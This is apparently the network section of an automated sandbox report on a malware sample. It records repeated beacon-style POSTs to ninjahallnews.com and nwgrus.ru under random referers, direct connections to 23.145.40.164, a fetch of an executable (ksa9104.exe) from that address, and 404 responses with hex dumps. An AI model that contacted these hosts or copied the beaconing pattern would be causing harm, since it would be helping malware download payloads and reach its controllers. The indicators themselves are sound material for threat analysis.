Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://lrhrxwfbfqiw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 321Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://mjscupccgtmnwxhe.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 369Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://mygtgmevqgkpxy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 150Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://jqllhnybwxcxea.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 366Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://pupdhamncbgqgk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 306Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://lhkhfhdvkorst.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 327Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://vhdgrtytskult.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 243Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://ujxngjrjlobur.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 240Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://igxvqkyyvgmutmd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 289Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://pkuvdwenklvosy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 154Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://mmqmkrfdtvmaos.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 248Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://klmaxatwhce.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 268Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://kouspbvvekjqvnkd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 239Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://ninjahallnews.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 4431Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://giugthslvfwuci.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://dcegxttxxlsj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://mqhltxselyb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fopeiyjgdmtd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 244Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bwtyrvoeqafgvbf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 300Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xghchnsekruohq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 111Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sexbgcirilxygdjd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 362Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://iahhcvfewaqau.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 159Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://eqcqgpejtwdt.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 197Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wecknsvepmdnww.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 118Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bhtdcxedsrrbqyo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 125Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fdkltibbufmpdfhy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 188Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xbdoluaokmu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 251Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ayakqtnprwclxx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 263Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://iplbmyqhcsowave.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 241Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rdhamasxmtwwkau.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 306Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://floxumtvcvrlyy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 256Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mjtfeuwpovhathn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nggsthvsetexec.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 255Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lrkgjwlbfxyrmp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 225Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wvxsqrgovrq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 205Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ivjlkhscvhyfno.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 151Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gwvqwjkmpeg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 204Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cqnqsxdlukmk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 302Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dlawyaqdtqgx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 357Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gxrfdgbwqcu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 368Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mihbhgkrdwqnogym.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 287Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bhprxmbpfsifjwvd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 187Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vqoayhqrgjlg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 189Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cmfmcxiuegbxwbfb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 173Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bojujhdxlnt.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 243Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lbaiglgwxhkmq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 222Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oxivfaqdhau.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 292Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://eihcpyqadleca.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 307Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://olgjjvecsjugbyj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 128Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wjiuupaachvppk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 288Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://csuhbuxabuhlm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 275Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lixbbuexbbyxijy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 140Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://snydbdaflsjf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 140Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://toxykxlssds.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wujymmrsholuwdm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 148Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://anhllontjkcoc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 277Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dfdglghjacuv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 170Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://efoitwxyetuahvcx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 369Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wgvksgwflrvxis.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 240Host: nwgrus.ru

Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164

Source: global traffic

HTTP traffic detected: GET /ksa9104.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 23.145.40.164

Source: global traffic	DNS traffic detected: DNS query: nwgrus.ru
Source: global traffic	DNS traffic detected: DNS query: ninjahallnews.com

Source: unknown

HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: https://pdafocuyeqbl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 180Host: ninjahallnews.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 22:20:42 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Type: text/html; charset=utf-8Connection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 22:21:00 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Type: text/html; charset=utf-8Connection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 22:21:01 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 409Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 22:21:11 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 409Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 22:22:27 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 7Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 22:22:49 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 7Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 22:23:14 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 7Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:19:56 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 04 00 00 00 72 e8 87 ed Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:19:57 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:19:58 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML 